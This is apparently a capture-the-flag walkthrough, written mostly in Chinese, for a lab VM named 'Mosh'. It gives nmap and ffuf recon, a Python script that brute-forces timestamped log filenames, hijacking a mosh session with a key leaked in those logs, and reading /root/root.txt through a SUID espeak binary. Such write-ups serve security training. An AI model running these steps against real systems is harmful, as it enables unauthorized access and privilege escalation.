Mosh

OS: Linux
Web-Tech: Ngnix
IP: 192.168.1.232
USERS:

Credentials:

==========
Ports:

22 -> SSH
80 -> Nginx

==========
Nmap Results:

```
# Nmap 7.95 scan initiated Sun Jan 25 16:54:04 2026 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,80 -A -sC -sV --oN tcp_scan_results.txt 192.168.1.232
Nmap scan report for mosh (192.168.1.232)
Host is up, received arp-response (0.00057s latency).
Scanned at 2026-01-25 16:54:05 JST for 6s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 10.0 (protocol 2.0)
80/tcp open  http    syn-ack ttl 64 nginx
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-title: 403 Forbidden
| http-robots.txt: 3 disallowed entries
|_/admin/ /backup/ /*-logs/
MAC Address: 08:00:27:46:D2:9B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 25 16:54:11 2026 -- 1 IP address (1 host up) scanned in 6.45 seconds
```

==========
Web Service Enumeration:

[Nikto]

[Wfuzz]

Files: / (Web Root)

Directories: / (Web Root)

==========
Other:

==========
Take Away Concepts:

Recon

没记录太多信息，暂且只提供一个短思路吧。

FUZZ

首先是FUZZ扫到robots.txt, 提示有一个 `/*-logs`
用raft-large-words可以扫到mosh

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt  -u
http://$IP/FUZZ-log
```

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt  -u
http://192.168.1.232/mosh-logs/FUZZ
```

然后接着扫到文件reminder

```
$(date +\%Y-\%m-\%d_\%H-\%M-\%S).log
```

看起来是日志的格式，喂给AI直接要一个FUZZ的python结构。类似FUZZ的靶机可以参考HTB的Inteligence。
盲猜文件就在这个Log下面，FUZZ之后发现是根据UTC+8的时间来进行命名的。

```python
import requests
from datetime import datetime, timedelta
from concurrent.futures import ThreadPoolExecutor
import sys

# ================= 配置区域 =================
# 目标的基础 URL（请确保以 / 结尾）
BASE_URL = "http://192.168.1.232/mosh-logs/"

# 设置爆破的起始时间和结束时间（格式：年-月-日 时:分:秒）
# 建议：先根据当前时间或靶机启动时间，设置一个较小的范围，例如前后 1-2 小时
START_TIME = "2026-01-23 10:00:00"
END_TIME   = "2026-01-26 12:00:00"
```

```python
# 步长（秒）。如果猜测是每分钟生成的日志，可以改为 60
STEP_SECONDS = 60

# 线程数（根据网络状况调整，太高可能会被封或导致靶机崩溃）
MAX_THREADS = 50
# ==========================================

def generate_filenames(start_str, end_str, step):
    """生成时间序列文件名"""
    start = datetime.strptime(start_str, "%Y-%m-%d %H:%M:%S")
    end = datetime.strptime(end_str, "%Y-%m-%d %H:%M:%S")

    current = start
    while current <= end:
        # 对应格式: %Y-%m-%d_%H-%M-%S
        filename = current.strftime("%Y-%m-%d_%H-%M-%S.log")
        yield filename
        current += timedelta(seconds=step)

def check_url(filename):
    """检测单个 URL 是否存在"""
    url = f"{BASE_URL}{filename}"
    try:
        # 使用 HEAD 请求，只获取头部信息，不下载内容，速度更快
        response = requests.head(url, timeout=3)

        # 如果返回 200 (OK)，说明文件存在
        if response.status_code == 200:
            print(f"[+] Found log file: {url}")
            return url
        # 某些服务器可能返回 403 (Forbidden) 但文件其实存在
        elif response.status_code == 403:
            print(f"[!] Potential match (403 Forbidden): {url}")
            return url

    except requests.RequestException:
        pass # 忽略连接错误
    return None

def main():
    print(f"[*] Starting brute-force on {BASE_URL}")
    print(f"[*] Time range: {START_TIME} to {END_TIME}")

    filenames = list(generate_filenames(START_TIME, END_TIME, STEP_SECONDS))
    print(f"[*] Total payloads generated: {len(filenames)}")
    print(f"[*] Running with {MAX_THREADS} threads...")

    found_files = []
```

```
    # 使用线程池并发请求
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        # map 会按顺序提交任务
        results = executor.map(check_url, filenames)

        for result in results:
            if result:
                found_files.append(result)

    print("\n" + "="*30)
    if found_files:
        print(f"Success! Found {len(found_files)} files:")
        for f in found_files:
            print(f)
    else:
        print("No files found. Try adjusting the time range or timezone.")

if __name__ == "__main__":
    main()
```

Mosh Key Disclosure

发现机器每分钟会生成一个带密钥的日志，有的时候日志会显示bind 60001端口失败。日志信息如下

```
MOSH CONNECT 60001 YVyT9A2RiNkeD1YDkF4xxg

mosh-server (mosh 1.4.0) [build mosh 1.4.0]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 2795]
```

根据密钥和MOSH的信息，喂给AI会找到一个MOSH-CLIENT的用法。

```
MOSH_KEY=YVyT9A2RiNkeD1YDkF4xxg mosh-client 192.168.1.232 60001
```

SUID Exploit

连上以后传个linpeas.sh搜集信息或者是找suid会发现一个特别的espeak

```
find / -perm /u=s 2>/dev/null
```

然后直接根据GTFOBINS的信息，让它读flag就行

```
/usr/bin/espeak -qXf /root/root.txt
Unpronouncable? 'flag'
 39     _) f (L01Y [f]

Translate 'flag'
  1     f        [f]
 39     _) f (L01Y [f]

  1     l        [l]

  1     a        [a]

  1     g        [g]

Translate '{'

Found: '_{' [lEftbreIs]
Translate 'root'
  1     r        [r]

 36     oo       [u:]
  1     o        [0]
  4     X) o     [0#]

  1     t        [t]

Flags:  a   $nounf
Translate 'a'
 40     _) a (_D [,eI]
  1     a        [a]
 26     _) a (_  [a#]

Found: '_9' [n'aIn]
Found: 'e' [i:]
Found: '_2X' [tw'Ent2i]
Found: '_6' [s'Iks]
Found: 'f' [Ef]
Found: '_8X' ['eIti]
Found: '_8' ['eIt]
Flags:  a   $nounf
Translate 'a'
 40     _) a (_D [,eI]
  1     a        [a]
 26     _) a (_  [a#]
 45     D_) a (_ [eI]

Found: '_4X' [f'o@ti]
```

```
Found: '_9' [n'aIn]
Found: 'f' [Ef]
Found: '_5X' [f'Ifti]
Found: '_4' [f'o@]
Translate 'ce'
  1     c        [k]
 22     c (e     [s]

  1     e        [E]
 45     XC) e (_N [i:]

Found: '_3' [Tr'i:]
Translate 'fe'
  1     f        [f]

  1     e        [E]
 45     XC) e (_N [i:]

Found: '_2X' [tw'Ent2i]
Found: '_9' [n'aIn]
Flags:  a   $nounf
Translate 'a'
 40     _) a (_D [,eI]
  1     a        [a]
 26     _) a (_  [a#]
 45     D_) a (_ [eI]

Found: '_8' ['eIt]
Found: 'b' [bi:]
Found: '_9' [n'aIn]
Found: 'f' [Ef]
Found: '_8' ['eIt]
Found: 'f' [Ef]
Found: '_0C' [h'Vndr@d]
Found: '_0M1' [T'aUz@nd]
Found: '_3' [Tr'i:]
Found: '_1' [w'02n]
Found: '_0and' [@n]
Found: '_3X' [T'3:ti]
Found: '_3' [Tr'i:]
Translate '}'

Found: '_}' [raItbreIs]
 fl'ag_:_: r'u:t,eI n'aIn 'i: tw'Entis'Iks 'Ef 'eIti;'eIt 'eI f'o@tin'aIn
'Ef f'Iftif'o@ s'i: Tr'i: f'i: tw'Entin'aIn 'eI 'eIt b'i: n'aIn 'Ef 'eIt 'Ef
Tr'i: T'aUz@nd w'0nh'Vndr@d@n T'3:tiTr'i:
/usr/bin/espeak -qxf /root/root.txt
 fl'ag_:_: r'u:t,eI n'aIn 'i: tw'Entis'Iks 'Ef 'eIti;'eIt 'eI f'o@tin'aIn
```

```
'Ef f'Iftif'o@ s'i: Tr'i: f'i: tw'Entin'aIn 'eI 'eIt b'i: n'aIn 'Ef 'eIt 'Ef
Tr'i: T'aUz@nd w'0nh'Vndr@d@n T'3:tiTr'i:
```

喂给AI

Recover Root Flag

根据日志的 Translate '...' 和 Found: '...' 块，我们可以精准还原:

步骤	Debug 日志片段	还原字符	备注
1	Translate 'flag', Translate '{', Translate 'root'	flag{root	结合 User Flag 格式，此处应隐含 -
2	Translate 'a'	a	
3	Found: '_9'	9	
4	Found: 'e'	e	
5	Found: '_2X', _6	26	连读 Twenty-six
6	Found: 'f'	f	
7	Found: '_8X', _8	88	连读 Eighty-eight
8	Translate 'a'	a	
9	Found: '_4X', _9	49	
10	Found: 'f'	f	
11	Found: '_5X', _4	54	
12	**Translate 'ce'**	**ce**	发音 s'i:
13	Found: '_3'	3	
14	**Translate 'fe'**	**fe**	发音 f'i:
15	Found: '_2X', _9	29	
16	Translate 'a'	a	
17	Found: '_8'	8	
18	Found: 'b'	b	
19	Found: '_9'	9	
20	Found: 'f'	f	
21	Found: '_8'	8	
22	Found: 'f'	f	
23	Found... 3... 1... 3... 3	3133	读作 Three thousand...
24	Translate '}'	}	

Final Root Flag

将上述字符拼接，并保留 user.txt 中出现的分隔符格式：

```
flag{root-a9e26f88a49f54ce3fe29a8b9f8f3133}
```